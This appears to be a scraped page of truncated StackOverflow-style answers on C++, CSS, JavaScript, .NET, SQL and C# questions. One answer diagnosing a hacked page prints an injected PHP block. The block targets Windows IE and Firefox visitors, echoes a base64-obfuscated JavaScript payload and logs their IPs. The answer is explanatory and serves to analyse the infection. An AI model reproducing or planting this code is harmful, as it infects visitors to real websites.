[Solved] Difference between the two?

An operator is a function which can be represented with a special syntax. So the following, if defined on a class MyClass: T MyClass::operator% (int k); can be called as follows: MyClass a; int k = 1; T answer = a % k; The other operator: T MyClass::operator[] (int k); Can be called by: T … Read more

[Solved] best language to learn for windows 10 [closed]

This question doesn’t really conform to StackOverflow question format (since its opinion based), but I will answer it anyway. From my personal experience windows developers mainly use .NET languages (ASP.NET, C#, Visual Basic) although Windows 10 has support for these to use the full potential of Windows 10 you would use C++. Microsoft Visual Studio … Read more

[Solved] Changing background opacity with jQuery [duplicate]

you can use a trick like this set the background to the :after .one:after { background: url(‘http://carwallstar.com/wp-content/uploads/2014/11/ford-car-images2015-ford-mustang–2015-ford-mustang-29—–froggpondcom-w8lqchv6.jpg’) 100% 100% no-repeat; background-size: cover; content: “”; opacity: 0.5; top: 0; left: 0; bottom: 0; right: 0; position: absolute; z-index: -1; } source: https://css-tricks.com/snippets/css/transparent-background-images/ 1 solved Changing background opacity with jQuery [duplicate]

[Solved] Looping javascript multi array

Three loops for each array. Just loop through every array, and append to new array. var size = [‘s’,’m’]; var color = [‘red’,’blue’,’black’]; var material = [‘cotton’,’linen’]; var arrayMaterials = [] for (var i = 0; i < size.length; i++) { for (var j = 0; j < color.length; j++) { for (var k = … Read more

[Solved] Can window.location=”/”; be hacked? [closed]

You appear to have an html (php) block injected into your page. Possibly the result of XSS? First stage decode reveals: $ip=$_SERVER[“REMOTE_ADDR”];$dr=$_SERVER[“DOCUMENT_ROOT”];$ua = $_SERVER[‘HTTP_USER_AGENT’];$dbf=$dr.”https://stackoverflow.com/”.md5($dr.’1′); if((strpos($ua,’Windows’)!==false)&&((strpos($ua,’MSIE’)!==false)||(strpos($ua,’Firefox’)!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0); echo(base64_decode(‘PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiK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zNiwzNCwyNCwyOCw0NSw4NywzMywxMDEsODYsMTAzLDUxLDEwMSwxMDMsMTAwLDkwLDg1LDEwMywxMDEsODgsMjYsMjQsOTEsODcsOTAsOTAsOTAsMTAxLDI2LDMwLDI0LDM2LDM0LDI0LDI4LDQ1LC0yLC00LC01LC02LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwzMiw4Miw5OSw5OCw4Niw5Nyw4Niw1Miw5MSw5MSw5Myw4NywyNiw4NywyOCw0NSwtMiwtNCwtNSwxMTBdO313PWY7cz1bXTtyPVN0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4=’)); if ($fp = @fopen($dbf , “a”)){fputs($fp , $ip.’|’); fclose($fp);} } Second Stage Decoding Reveals: try { abre++ } catch (a6ba34y) { try { prototype & 2 … Read more

[Solved] How to write out an hr tag programatically in .net [closed]

You can use a Literal control and set it to PassThrough mode. This is the easiest way for the hr tag Literal myTag = new Literal {Mode = LiteralMode.PassThrough, Text = “<hr/>”}; You can find more information here If you are creating an h1 tag then you should use this HtmlContainerControl myTag = (HtmlContainerControl)new HtmlGenericControl(“h1”); … Read more

[Solved] C# Lookup ptimisation suggestion are welcome

Neater, more linq: var data = GetData(); foreach (var v0 in data) { if (v0.Key.Item3 != string.Empty) continue; //Get all related data var tr_line = data[v0.Key]; sb.AppendLine(tr_line.First()); var hhLines = from v1 in data where v1.Key.Item2 == string.Empty && v1.Key.Item1 == v0.Key.Item1 select data[v1.Key]; foreach (var hh_line in hhLines) { sb.AppendLine(hh_line.First()); var grouping = v0; … Read more

[Solved] 3D or 2D graphics in c/c++? [closed]

You will have to draw every line and circle through your code,there won’t be a shortcut for that. Though, I would suggest using other graphics libraries like OpenGL. In other languages certain IDEs have features wherein you don’t have to write a code but you can manually design your graphics on a editor window and … Read more

[Solved] Add a number to a textView using button onClick()

private int i = 0;// Declare i as private ….. TextView tv = (TextView)findViewById(R.id.tv01); Btn.setOnClickListener(new OnClickListener() { public void onClick(View v) { i = i+10; tv.setText( String.valueOf(i)); } }); 0 solved Add a number to a textView using button onClick()

[Solved] How can I save the id of a div tag to a database when clicked and without refresh? [closed]

jQuery, or javascript in general, can’t really connect directly to a database like you are describing. If you have an endpoint to hit, then jQuery (or vanilla javascript, really) could just fire a request to that endpoint with the specific data: $(‘input:file’).on(‘change’, function(event) { $.ajax({ url: ‘/path/to/endpoint’, type: ‘post’, data: { filename: $(this).val() } }); … Read more

[Solved] I have a code for a stored procedure to create a table .But it returns error message while executing.Can any one please help me to solve this? [closed]

At least immediately, I notice you are missing the end: create procedure new_SP ( @tablename varchar(50) ) as begin declare @xxx varchar(50) set @xxx= ‘create table ‘+@tablename+'( name varchar (50))’ print @xxx exec (@xxx) end — you are missing this If you add the END, then this should work. Just tested it in SQL Server … Read more

[Solved] Creating a property of Type Dictionary [closed]

The only thing missing is initialization of the property – it is null otherwise (meaning that calling Add on it will throw a NullReferenceException). DatabaseLogger.ILogger logger = new DatabaseLogger.Logger(); logger.customProperties = new Dictionary<string, string>(); logger.customProperties.Add(“companyName”, “Company”); logger.customProperties.Add(“application”, “application”); Though this might be better done in the Logger constructor: public Logger() { customProperties = new Dictionary<string, … Read more